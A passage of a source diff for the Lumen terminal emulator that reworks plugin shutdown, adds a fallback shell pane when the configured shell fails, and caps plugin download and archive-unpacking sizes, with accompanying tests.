= std::mem::zeroed(); + while libc::waitid(libc::P_PID, pid as libc::id_t, &mut info, libc::WEXITED | libc::WNOWAIT) != 0 + && std::io::Error::last_os_error().kind() == std::io::ErrorKind::Interrupted + {} + } +} + +/// Stop a plugin's process and don't restart it. At once, it loses its +/// connection: nothing more it asks for is carried out, it's sent no more +/// events, and its panes and styles go. It and everything it started are +/// asked to exit (SIGTERM), and killed if still there after [`STOP_GRACE`]. fn end(r: &Running) { r.stop.store(true, Ordering::SeqCst); - if let Some(pid) = r.pid { - unsafe { - libc::kill(pid as i32, libc::SIGTERM); - } + let Some(pid) = r.pid else { return }; + let Some(live) = r.live.clone() else { + // Not one [`supervise`] started. + signal(pid, libc::SIGTERM); + return; + }; + if let Some(jobs) = api::jobs() { + let caller = Caller::Plugin { name: r.manifest.name.clone(), perms: r.manifest.permissions.clone() }; + api::disconnect(&jobs, &caller, live.conn); + } + if !*live.reaped.lock().unwrap() { + signal(pid, libc::SIGTERM); } + let _ = std::thread::Builder::new().name("plugin-stop".into()).spawn(move || { + std::thread::sleep(STOP_GRACE); + let reaped = live.reaped.lock().unwrap(); + if !*reaped { + signal(pid, libc::SIGKILL); + } + }); } -/// Stop every plugin: they're asked to exit (SIGTERM) and not restarted. +/// Stop every plugin, as [`stop`] does, without forgetting them. pub fn stop_all() { PLUGINS.lock().unwrap().iter().for_each(end); } -/// Stop one plugin and forget it: it's asked to exit (SIGTERM) and not -/// restarted. +/// Stop one plugin and forget it: it loses its connection, is asked to +/// exit, is killed if it doesn't, and isn't restarted. pub fn stop(name: &str) { let mut all = PLUGINS.lock().unwrap(); all.iter().filter(|r| r.manifest.name == name).for_each(end); @@ -941,13 +1028,21 @@ pub fn clear() { /// The plugin's process is up and can be written to. Settings saved since /// it was given `started_with` reached nobody, so they're sent now. -fn attach(name: &str, generation: u64, out: mpsc::Sender, pid: u32, started_with: &serde_json::Map) { +fn attach( + name: &str, + generation: u64, + out: mpsc::Sender, + pid: u32, + live: Live, + started_with: &serde_json::Map, +) { with_run(name, generation, |r| { if &r.settings != started_with { let _ = out.send(settings_message(&r.settings)); } r.out = Some(out); r.pid = Some(pid); + r.live = Some(live); r.status = "running".into(); }); } @@ -1010,9 +1105,7 @@ pub fn key_bindings() -> Vec<(String, String, String)> { .lock() .unwrap() .iter() - .flat_map(|r| { - r.commands.iter().filter_map(|c| Some((c.keys.clone()?, r.manifest.name.clone(), c.id.clone()))) - }) + .flat_map(|r| r.commands.iter().filter_map(|c| Some((c.keys.clone()?, r.manifest.name.clone(), c.id.clone())))) .collect() } @@ -1038,6 +1131,7 @@ mod tests { commands: Vec::new(), stop: Arc::new(AtomicBool::new(false)), pid: None, + live: None, generation: 0, settings, }); @@ -1085,26 +1179,37 @@ mod tests { commands: Vec::new(), stop: Arc::new(AtomicBool::new(false)), pid: None, + live: None, generation: 7, settings: map(json!({"n": 1})), }); assert!(update_settings("t-starting", map(json!({"n": 2})))); - attach("t-starting", 7, tx.clone(), 1, &map(json!({"n": 1}))); + let live = Live { conn: 0, reaped: Arc::new(Mutex::new(true)) }; + attach("t-starting", 7, tx.clone(), 1, live.clone(), &map(json!({"n": 1}))); let msg: Value = serde_json::from_str(&rx.try_recv().expect("the newer values are sent")).unwrap(); assert_eq!(msg["params"]["settings"], json!({"n": 2})); - attach("t-starting", 7, tx, 1, &map(json!({"n": 2}))); + attach("t-starting", 7, tx, 1, live, &map(json!({"n": 2}))); assert!(rx.try_recv().is_err(), "nothing when it started with them"); } fn installed_at(dir: &Path, perms: Vec) -> crate::registry::Installed { - crate::registry::Installed { version: "1.0.0".into(), commit: "c".repeat(40), permissions: perms, dir: dir.to_path_buf() } + crate::registry::Installed { + version: "1.0.0".into(), + commit: "c".repeat(40), + permissions: perms, + dir: dir.to_path_buf(), + } } #[test] fn registry_plugins_are_discovered() { let dir = std::env::temp_dir().join(format!("lumen-reg-discover-{}", std::process::id())); std::fs::create_dir_all(&dir).unwrap(); - std::fs::write(dir.join("plugin.toml"), "version = \"1.0.0\"\ncommand = \"python3 main.py\"\npermissions = [\"panes\"]").unwrap(); + std::fs::write( + dir.join("plugin.toml"), + "version = \"1.0.0\"\ncommand = \"python3 main.py\"\npermissions = [\"panes\"]", + ) + .unwrap(); let mut installed = BTreeMap::new(); installed.insert("mira/x".to_string(), installed_at(&dir, vec![Permission::Panes])); let (found, problems) = discover_registry(&["recent-dirs".into(), "mira/x".into()], &installed); @@ -1218,6 +1323,87 @@ mod tests { assert_eq!(r.keep, ["same"]); } + /// Whether process `pid` is still there (a zombie doesn't count). + fn alive(pid: i32) -> bool { + let stat = std::fs::read_to_string(format!("/proc/{pid}/stat")).unwrap_or_default(); + match stat.rsplit_once(") ") { + Some((_, rest)) => !rest.starts_with('Z'), + None => unsafe { libc::kill(pid, 0) == 0 }, + } + } + + #[test] + fn a_plugin_that_ignores_being_stopped_is_cut_off_and_killed() { + use futures::StreamExt; + let dir = std::env::temp_dir().join(format!("lumen-stubborn-{}", std::process::id())).join("t-stubborn"); + std::fs::create_dir_all(&dir).unwrap(); + let pids = dir.join("pids"); + // Ignores SIGTERM, as does the `sleep` it starts. It asks for one + // thing while running and another once it's been told to stop + // (its stdin closes), then waits for ever. + let script = format!( + "trap '' TERM; sleep 60 & echo \"$$ $!\" > '{}'; \ + echo '{{\"jsonrpc\":\"2.0\",\"method\":\"before\",\"id\":1}}'; \ + while read -r line; do :; done; \ + echo '{{\"jsonrpc\":\"2.0\",\"method\":\"after\",\"id\":2}}'; \ + wait", + pids.display() + ); + let toml = format!("command = [\"sh\", \"-c\", {}]", serde_json::to_string(&script).unwrap()); + let m = parse_manifest(&dir, &toml).unwrap(); + + // The UI's side: note what's asked for, and answer it. + let (jobs, mut asked) = futures::channel::mpsc::unbounded::(); + let seen = Arc::new(Mutex::new(Vec::::new())); + let noted = seen.clone(); + std::thread::spawn(move || { + while let Some(job) = futures::executor::block_on(asked.next()) { + noted.lock().unwrap().push(job.method.clone()); + let _ = job.reply.send(Ok(json!({}))); + } + }); + let has = |method: &str| seen.lock().unwrap().iter().any(|m| m == method); + let until = |what: &str, done: &dyn Fn() -> bool| { + let deadline = Instant::now() + Duration::from_secs(5); + while !done() { + assert!(Instant::now() < deadline, "{what}"); + std::thread::sleep(Duration::from_millis(10)); + } + }; + + let stop = Arc::new(AtomicBool::new(false)); + PLUGINS.lock().unwrap().push(Running { + manifest: m.clone(), + status: "starting".into(), + out: None, + commands: Vec::new(), + stop: stop.clone(), + pid: None, + live: None, + generation: 4242, + settings: serde_json::Map::new(), + }); + let supervisor = std::thread::spawn(move || supervise(m, stop, jobs, 4242)); + until("its first request arrives", &|| has("before")); + let both: Vec = + std::fs::read_to_string(&pids).unwrap().split_whitespace().map(|p| p.parse().unwrap()).collect(); + let (plugin, child) = (both[0], both[1]); + assert!(alive(plugin) && alive(child)); + + let stopped = Instant::now(); + super::stop("t-stubborn"); + // Its connection goes at once, well before it's killed. + until("it's disconnected", &|| has("_disconnected")); + assert!(stopped.elapsed() < STOP_GRACE, "disconnected only once it was killed"); + assert!(alive(plugin), "it ignores SIGTERM, so it's still there"); + // Then it and what it started are killed. + until("it and its child are killed", &|| !alive(plugin) && !alive(child)); + assert!(stopped.elapsed() >= STOP_GRACE, "killed before its time was up"); + supervisor.join().unwrap(); + assert!(!has("after"), "a request sent after it was stopped was carried out: {:?}", seen.lock().unwrap()); + let _ = std::fs::remove_dir_all(dir.parent().unwrap()); + } + #[test] fn replacing_a_plugin_stops_its_process() { let mut child = std::process::Command::new("sleep").arg("30").spawn().unwrap(); @@ -1229,6 +1415,7 @@ mod tests { commands: Vec::new(), stop: Arc::new(AtomicBool::new(false)), pid: Some(child.id()), + live: None, generation: 9, settings: serde_json::Map::new(), }); @@ -1248,8 +1435,9 @@ mod tests { ) .unwrap(); assert_eq!(m.settings.len(), 1); - let e = parse_manifest(Path::new("p"), "command = \"x\"\n[settings.n]\ntype = \"integer\"\ndescription = \"d\"") - .unwrap_err(); + let e = + parse_manifest(Path::new("p"), "command = \"x\"\n[settings.n]\ntype = \"integer\"\ndescription = \"d\"") + .unwrap_err(); assert!(e.contains("default"), "{e}"); } @@ -1328,7 +1516,11 @@ mod tests { assert_eq!(m.command, vec!["node", "my plugin.js"]); assert!(m.permissions.is_empty()); assert!(parse_manifest(dir, "version = \"1\"\n").unwrap_err().contains("`command` is missing")); - assert!(parse_manifest(dir, "command = \"x\"\npermissions = [\"network\"]\n").unwrap_err().contains("unknown permission")); + assert!( + parse_manifest(dir, "command = \"x\"\npermissions = [\"network\"]\n") + .unwrap_err() + .contains("unknown permission") + ); assert!(parse_manifest(dir, "command = \n").is_err()); } diff --git a/src/pty.rs b/src/pty.rs index 9ed9163..2b2ae4f 100644 --- a/src/pty.rs +++ b/src/pty.rs @@ -84,10 +84,23 @@ impl Owner { } /// What's on the other side of the terminal: a shell (or other program) in -/// a pseudoterminal, or a plugin drawing the pane itself. +/// a pseudoterminal, a plugin drawing the pane itself, or nothing at all +/// (a pane that only says why no shell could be started). enum Backend { - Process { notifier: Notifier, child_pid: u32 }, - Plugin { owner: Owner, pane: u64, parser: Box, events: UnboundedSender }, + Process { + notifier: Notifier, + child_pid: u32, + }, + Message { + parser: Box, + events: UnboundedSender, + }, + Plugin { + owner: Owner, + pane: u64, + parser: Box, + events: UnboundedSender, + }, } pub struct Pty { @@ -134,9 +147,7 @@ impl Pty { (shell, false) }; let options = tty::Options { - shell: shell - .split_first() - .map(|(program, args)| tty::Shell::new(program.clone(), args.to_vec())), + shell: shell.split_first().map(|(program, args)| tty::Shell::new(program.clone(), args.to_vec())), working_directory: cwd.filter(|p| p.is_dir()).or_else(fallback_cwd), drain_on_exit: false, env, @@ -154,6 +165,55 @@ impl Pty { Ok((Self { term, backend: Backend::Process { notifier, child_pid }, size, shell_state }, rx)) } + /// A pane's shell, whatever happens: yours (`shell`, or `$SHELL`); if + /// that can't be started, `/bin/sh` saying why; and if nothing can be, + /// a pane that only says so. A wrong `shell` setting mustn't take Lumen + /// down with it. + pub fn shell( + cwd: Option, + shell: Option<&[String]>, + integrate: bool, + pane: u64, + config: Config, + size: GridSize, + ) -> (Self, UnboundedReceiver) { + let first = match Self::spawn(cwd.clone(), shell, integrate, pane, config.clone(), size) { + Ok(spawned) => return spawned, + Err(e) => e, + }; + let wanted = shell.map(<[String]>::to_vec).unwrap_or_else(shell_integration::default_shell).join(" "); + let why = format!("Lumen couldn't start your shell, {wanted}: {first}"); + let fix = if shell.is_some() { "Check `shell` in config.toml." } else { "Check $SHELL." }; + // The message goes as arguments, so nothing in it is read as shell. + let fallback = [ + "/bin/sh", + "-c", + r#"printf '\033[31m%s\033[0m\n%s This is /bin/sh instead.\n\n' "$1" "$2"; exec /bin/sh"#, + "sh", + why.as_str(), + fix, + ] + .map(String::from); + match Self::spawn(cwd, Some(&fallback), false, pane, config.clone(), size) { + Ok(spawned) => spawned, + Err(e) => Self::message( + &format!("\x1b[31m{why}\x1b[0m\r\n/bin/sh couldn't be started either: {e}\r\n{fix}\r\n"), + config, + ), + } + } + + /// A pane with no program at all, showing `text`. + fn message(text: &str, config: Config) -> (Self, UnboundedReceiver) { + let (tx, rx) = unbounded(); + let size = GridSize::DEFAULT; + let term = Arc::new(FairMutex::new(Term::new(config, &size, Listener(tx.clone())))); + let backend = Backend::Message { parser: Box::default(), events: tx }; + let mut this = Self { term, backend, size, shell_state: Arc::new(Mutex::new(Shared::default())) }; + this.feed(text.as_bytes()); + (this, rx) + } + /// A pane with no program: `owner` draws it with [`Pty::feed`], and gets /// what you type in it. pub fn plugin(owner: Owner, pane: u64, config: Config) -> (Self, UnboundedReceiver) { @@ -168,13 +228,14 @@ impl Pty { pub fn owner(&self) -> Option<&Owner> { match &self.backend { Backend::Plugin { owner, .. } => Some(owner), - Backend::Process { .. } => None, + Backend::Process { .. } | Backend::Message { .. } => None, } } - /// Show `bytes` in a plugin pane, as if a program had printed them. + /// Show `bytes` in a pane with no program (a plugin's, or a message), + /// as if a program had printed them. pub fn feed(&mut self, bytes: &[u8]) { - if let Backend::Plugin { parser, events, .. } = &mut self.backend { + if let Backend::Plugin { parser, events, .. } | Backend::Message { parser, events } = &mut self.backend { parser.advance(&mut *self.term.lock(), bytes); let _ = events.unbounded_send(Event::Wakeup); } @@ -185,6 +246,7 @@ impl Pty { pub fn write(&self, bytes: impl Into>) { match &self.backend { Backend::Process { notifier, .. } => notifier.notify(bytes), + Backend::Message { .. } => {} Backend::Plugin { owner, pane, .. } => { let bytes = bytes.into(); owner.send(*pane, "input", serde_json::json!({ "text": String::from_utf8_lossy(&bytes) })); @@ -199,6 +261,7 @@ impl Pty { self.size = size; match &mut self.backend { Backend::Process { notifier, .. } => notifier.on_resize(size.window_size()), + Backend::Message { .. } => {} Backend::Plugin { owner, pane, .. } => { owner.send(*pane, "resize", serde_json::json!({ "cols": size.cols, "rows": size.rows })) } @@ -274,6 +337,49 @@ impl Drop for Pty { let _ = notifier.0.send(Msg::Shutdown); } Backend::Plugin { owner, pane, .. } => owner.send(*pane, "closed", serde_json::json!({})), + Backend::Message { .. } => {} + } + } +} + +#[cfg(test)] +mod tests { + use super::*; + use alacritty_terminal::grid::Dimensions; + use alacritty_terminal::index::{Column, Line, Point}; + use std::time::{Duration, Instant}; + + fn screen(pty: &Pty) -> String { + let term = pty.term.lock(); + let bottom = Line(term.screen_lines() as i32 - 1); + term.bounds_to_string(Point::new(Line(0), Column(0)), Point::new(bottom, term.last_column())) + } + + #[test] + fn a_shell_that_isnt_there_gets_bin_sh_and_says_so() { + let missing = ["/nonexistent/lumen-test-shell".to_string()]; + // What used to be fatal: starting it fails. + assert!(Pty::spawn(None, Some(&missing), true, 1, Config::default(), GridSize::DEFAULT).is_err()); + + let (pty, _rx) = Pty::shell(None, Some(&missing), true, 1, Config::default(), GridSize::DEFAULT); + assert!(matches!(pty.backend, Backend::Process { .. }), "/bin/sh runs in its place"); + let deadline = Instant::now() + Duration::from_secs(5); + while !screen(&pty).contains("This is /bin/sh instead.") { + assert!(Instant::now() < deadline, "no message: {:?}", screen(&pty)); + std::thread::sleep(Duration::from_millis(20)); } + let text = screen(&pty).replace('\n', ""); + assert!(text.contains("Lumen couldn't start your shell, /nonexistent/lumen-test-shell"), "{text}"); + assert!(text.contains("Check `shell` in config.toml."), "{text}"); + } + + #[test] + fn a_message_pane_shows_its_text_and_takes_no_input() { + let (mut pty, _rx) = Pty::message("\x1b[31mno shell\x1b[0m\r\nsecond line\r\n", Config::default()); + assert_eq!(screen(&pty).trim_end(), "no shell\nsecond line"); + assert!(pty.owner().is_none() && pty.cwd().is_none_or(|_| true)); + pty.write(&b"ls\r"[..]); + pty.resize(GridSize { cols: 40, rows: 10, ..GridSize::DEFAULT }); + assert!(screen(&pty).contains("no shell")); } } diff --git a/src/quick.rs b/src/quick.rs index 012c5c5..5179b61 100644 --- a/src/quick.rs +++ b/src/quick.rs @@ -9,7 +9,9 @@ //! grabs `quick-terminal-key` itself. Elsewhere (Wayland, macOS) it's a //! normal window that toggles between shown and minimized. -use gpui::{App, AppContext, Bounds, Global, WindowBounds, WindowDecorations, WindowHandle, WindowOptions, point, px, size}; +use gpui::{ + App, AppContext, Bounds, Global, WindowBounds, WindowDecorations, WindowHandle, WindowOptions, point, px, size, +}; use crate::settings::Settings; use crate::workspace::Workspace; @@ -91,15 +93,15 @@ pub fn activation_changed(active: bool, cx: &mut App) { fn open(cx: &mut App) { let height = Settings::get(cx).quick_terminal_height; - let scale = cx - .windows() - .first() - .and_then(|w| w.update(cx, |_, window, _| window.scale_factor()).ok()) - .unwrap_or(1.0); + let scale = + cx.windows().first().and_then(|w| w.update(cx, |_, window, _| window.scale_factor()).ok()).unwrap_or(1.0); // Where it goes, in logical pixels: the top of the pointer's monitor. let area = monitor_under_pointer() .map(|(x, y, w, h)| { - Bounds::new(point(px(x as f32 / scale), px(y as f32 / scale)), size(px(w as f32 / scale), px(h as f32 / scale))) + Bounds::new( + point(px(x as f32 / scale), px(y as f32 / scale)), + size(px(w as f32 / scale), px(h as f32 / scale)), + ) }) .or_else(|| cx.primary_display().map(|d| d.bounds())) .unwrap_or_else(|| Bounds::new(point(px(0.0), px(0.0)), size(px(1280.0), px(800.0)))); @@ -157,7 +159,7 @@ mod x11 { use x11rb::protocol::randr::ConnectionExt as _; use x11rb::protocol::xproto::{ AtomEnum, ClientMessageEvent, ConfigureWindowAux, ConnectionExt, EventMask, InputFocus, PropMode, StackMode, - UnmapNotifyEvent, UNMAP_NOTIFY_EVENT, + UNMAP_NOTIFY_EVENT, UnmapNotifyEvent, }; use x11rb::rust_connection::RustConnection; use x11rb::wrapper::ConnectionExt as _; @@ -205,8 +207,12 @@ mod x11 { /// on every workspace and out of the taskbar, and give it the keyboard. pub fn show(xid: u32, height: f32) { let Some((conn, root)) = connect() else { return }; - let names: [&[u8]; 4] = - [b"_NET_WM_STATE_ABOVE", b"_NET_WM_STATE_STICKY", b"_NET_WM_STATE_SKIP_TASKBAR", b"_NET_WM_STATE_SKIP_PAGER"]; + let names: [&[u8]; 4] = [ + b"_NET_WM_STATE_ABOVE", + b"_NET_WM_STATE_STICKY", + b"_NET_WM_STATE_SKIP_TASKBAR", + b"_NET_WM_STATE_SKIP_PAGER", + ]; let states: Vec = names.iter().filter_map(|n| atom(&conn, n)).collect(); let (Some(wm_state), Some(active), Some(desktop)) = (atom(&conn, b"_NET_WM_STATE"), atom(&conn, b"_NET_ACTIVE_WINDOW"), atom(&conn, b"_NET_WM_DESKTOP")) @@ -261,7 +267,13 @@ mod x11 { pub fn hide(xid: u32) { let Some((conn, root)) = connect() else { return }; let _ = conn.unmap_window(xid); - let ev = UnmapNotifyEvent { response_type: UNMAP_NOTIFY_EVENT, sequence: 0, event: root, window: xid, from_configure: false }; + let ev = UnmapNotifyEvent { + response_type: UNMAP_NOTIFY_EVENT, + sequence: 0, + event: root, + window: xid, + from_configure: false, + }; let _ = conn.send_event(false, root, EventMask::SUBSTRUCTURE_REDIRECT | EventMask::SUBSTRUCTURE_NOTIFY, ev); let _ = conn.sync(); } diff --git a/src/registry.rs b/src/registry.rs index 0f6e782..00b9801 100644 --- a/src/registry.rs +++ b/src/registry.rs @@ -223,11 +223,26 @@ pub fn count_updates(installed: &BTreeMap, index: &Index) -> /// Download `url` to `dest` with curl. An absolute path is copied instead /// (for testing an index or archive before it's published). pub fn fetch(url: &str, dest: &Path) -> Result<(), String> { + fetch_within(url, dest, FETCH_LIMIT) +} + +/// The most [`fetch`] downloads: room for the index and any archive [`LIMITS`] allows. +const FETCH_LIMIT: u64 = 64 * MB; + +/// [`fetch`], refusing more than `limit` bytes: by its announced size, while +/// it arrives (curl 8.4 and later), and once it's here. +fn fetch_within(url: &str, dest: &Path, limit: u64) -> Result<(), String> { + let too_big = || format!("{url} is over {}; not downloaded", size(limit)); if url.starts_with('/') { + if std::fs::metadata(url).map_err(|e| format!("{url}: {e}"))?.len() > limit { + return Err(too_big()); + } return std::fs::copy(url, dest).map(|_| ()).map_err(|e| format!("{url}: {e}")); } let out = std::process::Command::new("curl") - .args(["-fsSL", "--proto", "=https,file", "--max-time", "120", "-o"]) + .args(["-fsSL", "--proto", "=https,file", "--max-time", "120", "--max-filesize"]) + .arg(limit.to_string()) + .arg("-o") .arg(dest) .arg(url) .output() @@ -235,6 +250,12 @@ pub fn fetch(url: &str, dest: &Path) -> Result<(), String> { std::io::ErrorKind::NotFound => "Lumen needs `curl` to download plugins; install it and try again".into(), _ => format!("couldn't run curl: {e}"), })?; + // 63 is curl's "file size exceeded". + let arrived = std::fs::metadata(dest).map_or(0, |m| m.len()); + if out.status.code() == Some(63) || arrived > limit { + let _ = std::fs::remove_file(dest); + return Err(too_big()); + } if out.status.success() { Ok(()) } else { @@ -279,12 +300,9 @@ pub(crate) fn index_from(url: &str, cache: &Path, refresh: bool) -> Result Result { - let fresh = std::fs::metadata(cache) - .and_then(|m| m.modified()) - .is_ok_and(|t| t.elapsed().is_ok_and(|age| age < max_age)); - if fresh - && let Some(index) = std::fs::read_to_string(cache).ok().and_then(|t| parse_index(&t).ok()) - { + let fresh = + std::fs::metadata(cache).and_then(|m| m.modified()).is_ok_and(|t| t.elapsed().is_ok_and(|age| age < max_age)); + if fresh && let Some(index) = std::fs::read_to_string(cache).ok().and_then(|t| parse_index(&t).ok()) { return Ok(index); } let dir = cache.parent().ok_or("no folder")?; @@ -329,7 +347,9 @@ impl Paths { installed: installed_path().ok_or_else(none)?, approvals: crate::plugins::approvals_path().ok_or_else(none)?, config: crate::settings::config_path().ok_or_else(none)?, - data: base("XDG_STATE_HOME", ".local/state", "Library/Application Support").ok_or_else(none)?.join("lumen/plugin-data"), + data: base("XDG_STATE_HOME", ".local/state", "Library/Application Support") + .ok_or_else(none)? + .join("lumen/plugin-data"), }) } } @@ -389,12 +409,20 @@ impl Paths { pub const LUMEN_VERSION: &str = env!("CARGO_PKG_VERSION"); fn find<'a>(index: &'a Index, name: &str) -> Result<&'a Entry, String> { - index.plugins.iter().find(|e| e.name == name).ok_or_else(|| format!("there's no plugin called \"{name}\" in the registry")) + index + .plugins + .iter() + .find(|e| e.name == name) + .ok_or_else(|| format!("there's no plugin called \"{name}\" in the registry")) } fn newest(entry: &Entry) -> Result<&Release, String> { best(entry, LUMEN_VERSION).ok_or_else(|| { - let need = entry.versions.iter().map(|r| r.lumen.as_str()).fold("", |a, b| if a.is_empty() || newer(a, b) { b } else { a }); + let need = entry + .versions + .iter() + .map(|r| r.lumen.as_str()) + .fold("", |a, b| if a.is_empty() || newer(a, b) { b } else { a }); format!("{} needs Lumen {need} or newer; this is {LUMEN_VERSION}", entry.name) }) } @@ -459,7 +487,7 @@ pub(crate) fn remove_in(p: &Paths, name: &str, delete_data: bool) -> Result Result<(), String> { let name = entry.name.as_str(); if !valid_name(name) { @@ -587,14 +616,32 @@ fn put_in_place(p: &Paths, entry: &Entry, release: &Release, approve: &Approve) )); } check_approval(p, name, &manifest.permissions, approve)?; - // The switch: move the files into place, then record them. + // The switch: the files, their record, the approval, then turning it + // on. Each step that fails undoes the ones before it. let dest = p.root.join(name).join(&release.version); - if dest.exists() { - std::fs::remove_dir_all(&dest).map_err(|e| format!("{}: {e}", dest.display()))?; + // The same version installed again: its files are kept aside until + // the new ones are in use. + let aside = scratch.0.join("previous"); + let had_files = dest.exists(); + if had_files { + std::fs::rename(&dest, &aside).map_err(|e| format!("{}: {e}", dest.display()))?; + } + let put_files_back = || { + let _ = std::fs::remove_dir_all(&dest); + if had_files { + let _ = std::fs::rename(&aside, &dest); + } + }; + let moved = std::fs::create_dir_all(dest.parent().ok_or("no folder")?) + .and_then(|_| std::fs::rename(&folder, &dest)) + .map_err(|e| format!("{}: {e}", dest.display())); + if let Err(e) = moved { + put_files_back(); + return Err(e); } - std::fs::create_dir_all(dest.parent().ok_or("no folder")?).map_err(|e| e.to_string())?; - std::fs::rename(&folder, &dest).map_err(|e| format!("{}: {e}", dest.display()))?; - let mut all = load_installed_from(&p.installed); + + let before = load_installed_from(&p.installed); + let mut all = before.clone(); let old = all.insert( name.to_string(), Installed { @@ -605,13 +652,30 @@ fn put_in_place(p: &Paths, entry: &Entry, release: &Release, approve: &Approve) }, ); if let Err(e) = save_installed_to(&p.installed, &all) { - let _ = std::fs::remove_dir_all(&dest); + put_files_back(); return Err(e); } - if !manifest.permissions.is_empty() { - crate::plugins::approve_registry_in(&p.approvals, name, &manifest.permissions); + let put_record_back = || { + let _ = save_installed_to(&p.installed, &before); + put_files_back(); + }; + + let approved_before = crate::plugins::registry_approval_in(&p.approvals, name); + if !manifest.permissions.is_empty() + && let Err(e) = crate::plugins::approve_registry_in(&p.approvals, name, &manifest.permissions) + { + put_record_back(); + return Err(format!("{name}: couldn't keep your approval ({e}); not installed")); + } + if let Err(e) = set_enabled_locked(p, name, true) { + let _ = if approved_before.is_empty() { + crate::plugins::forget_registry_in(&p.approvals, name) + } else { + crate::plugins::approve_registry_in(&p.approvals, name, &approved_before) + }; + put_record_back(); + return Err(format!("{name}: couldn't turn it on ({e}); not installed")); } - set_enabled_locked(p, name, true)?; if let Some(old) = old.filter(|o| o.dir != dest) { let _ = std::fs::remove_dir_all(&old.dir); } @@ -647,62 +711,223 @@ pub(crate) fn new_permissions_in(p: &Paths, name: &str, permissions: &[Permissio fn approve_new(p: &Paths, name: &str, permissions: &[Permission], approve: &Approve) -> Result<(), String> { check_approval(p, name, permissions, approve)?; if !permissions.is_empty() { - crate::plugins::approve_registry_in(&p.approvals, name, permissions); + crate::plugins::approve_registry_in(&p.approvals, name, permissions)?; } Ok(()) } +/// How much a plugin's download may hold. Plugins are source files, so +/// these are far above any real one, and only stop an archive made to fill +/// the disk or keep `tar` busy. +pub(crate) struct Limits { + /// The `.tar.gz` itself, in bytes. + pub archive: u64, + /// Files and folders in it. + pub entries: usize, + /// One file, unpacked, in bytes. + pub file: u64, + /// Everything, unpacked, in bytes. + pub unpacked: u64, +} + +const MB: u64 = 1024 * 1024; +pub(crate) const LIMITS: Limits = Limits { archive: 50 * MB, entries: 10_000, file: 50 * MB, unpacked: 200 * MB }; + +/// `bytes` for a message: whole megabytes, or kilobytes below one. +fn size(bytes: u64) -> String { + if bytes >= MB { format!("{} MB", bytes / MB) } else { format!("{} KB", bytes.div_ceil(1024)) } +} + +/// The size on a line of `tar -tv`, if it can be told. GNU tar prints +/// `mode owner/group size date time name`; BSD tar (macOS) prints +/// `mode links owner group size month day time name`. +fn listed_size(line: &str) -> Option { + let fields: Vec<&str> = line.split_whitespace().take(5).collect(); + let at = if fields.get(1)?.contains('/') { 2 } else { 4 }; + fields.get(at)?.parse().ok() +} + +/// Run `tar `, giving `each` every line it prints. An +/// error from `each` stops tar there, so a listing made to go on for ever +/// doesn't. Returns whether tar succeeded. +fn tar_lines(flags: &str, archive: &Path, mut each: impl FnMut(&str) -> Result<(), String>) -> Result { + use std::io::{BufRead, Read}; + /// Longer than any real path; a longer line isn't a listing. + const LINE: usize = 64 * 1024; + let mut child = std::process::Command::new("tar") + .arg(flags) + .arg(archive) + .stdout(std::process::Stdio::piped()) + .stderr(std::process::Stdio::null()) + .spawn() + .map_err(|e| format!("couldn't run tar: {e}"))?; + let mut out = std::io::BufReader::new(child.stdout.take().expect("piped")); + let mut buf = Vec::new(); + let result = loop { + buf.clear(); + match (&mut out).take(LINE as u64 + 1).read_until(b'\n', &mut buf) { + Ok(0) | Err(_) => break Ok(()), + Ok(_) if buf.len() > LINE => { + break Err("the download has a name too long to be real; not installed".to_string()); + } + Ok(_) => {} + } + if let Err(e) = each(String::from_utf8_lossy(&buf).trim_end_matches('\n')) { + break Err(e); + } + }; + if result.is_err() { + let _ = child.kill(); + } + drop(out); + let status = child.wait().map_err(|e| format!("couldn't run tar: {e}"))?; + result.map(|()| status.success()) +} + +/// Whether `archive`'s files come to more than `limit` bytes, found by having +/// tar unpack them to a pipe and counting. Unlike the sizes in a listing, +/// which sit after names the archive chooses, this can't be talked round; +/// and nothing is written. Tar is stopped as soon as the answer is yes. +fn unpacks_past(archive: &Path, limit: u64) -> Result { + use std::io::Read; + let mut child = std::process::Command::new("tar") + .arg("-xzOf") + .arg(archive) + .stdout(std::process::Stdio::piped()) + .stderr(std::process::Stdio::null()) + .spawn() + .map_err(|e| format!("couldn't run tar: {e}"))?; + let out = child.stdout.take().expect("piped"); + let seen = std::io::copy(&mut out.take(limit.saturating_add(1)), &mut std::io::sink()); + let past = seen.as_ref().is_ok_and(|n| *n > limit); + if past || seen.is_err() { + let _ = child.kill(); + } + let status = child.wait().map_err(|e| format!("couldn't run tar: {e}"))?; + match seen { + Ok(_) if past => Ok(true), + Ok(_) if status.success() => Ok(false), + _ => Err("the download isn't a .tar.gz archive; not installed".to_string()), + } +} + +/// Stop `cmd` writing any file longer than `cap` bytes: whatever a listing +/// said, the kernel ends it there (SIGXFSZ). +fn cap_file_size(cmd: &mut std::process::Command, cap: u64) { + use std::os::unix::process::CommandExt; + unsafe { + cmd.pre_exec(move || { + let limit = libc::rlimit { rlim_cur: cap as libc::rlim_t, rlim_max: cap as libc::rlim_t }; + if libc::setrlimit(libc::RLIMIT_FSIZE, &limit) != 0 { + return Err(std::io::Error::last_os_error()); + } + Ok(()) + }); + } +} + /// Unpack a `.tar.gz` into `into` and return its one top-level folder. /// Refuses archives with absolute paths, `..`, links or special files, so -/// nothing can be written outside `into`. +/// nothing can be written outside `into`, and ones holding more than +/// [`LIMITS`], so nothing can fill the disk. fn unpack(archive: &Path, into: &Path) -> Result { + unpack_within(archive, into, &LIMITS) +} + +fn unpack_within(archive: &Path, into: &Path, limits: &Limits) -> Result { let bad = |why: &str| format!("the download {why}; not installed"); - let tar = |flags: &str| { - std::process::Command::new("tar").arg(flags).arg(archive).output().map_err(|e| format!("couldn't run tar: {e}")) - }; - let (list, long) = (tar("-tzf")?, tar("-tvzf")?); - if !list.status.success() || !long.status.success() { - return Err(bad("isn't a .tar.gz archive")); - } - // Links are refused before anything is unpacked: not every tar refuses - // to write through one by itself. GNU tar marks them `l` and `h`; - // BSD tar shows hard links as "link to". - for line in String::from_utf8_lossy(&long.stdout).lines() { + let too_many = || bad(&format!("has more than {} files", limits.entries)); + let too_big = || bad(&format!("unpacks to more than {}", size(limits.unpacked))); + let file_too_big = || bad(&format!("has a file over {}", size(limits.file))); + let packed = std::fs::metadata(archive).map_err(|e| format!("{}: {e}", archive.display()))?.len(); + if packed > limits.archive { + return Err(bad(&format!("is over {}", size(limits.archive)))); + } + + // Read the listings before anything is unpacked, stopping at the first + // thing wrong. Links are refused here: not every tar refuses to write + // through one by itself. GNU tar marks them `l` and `h`; BSD tar shows + // hard links as "link to". + let (mut entries, mut total) = (0usize, 0u64); 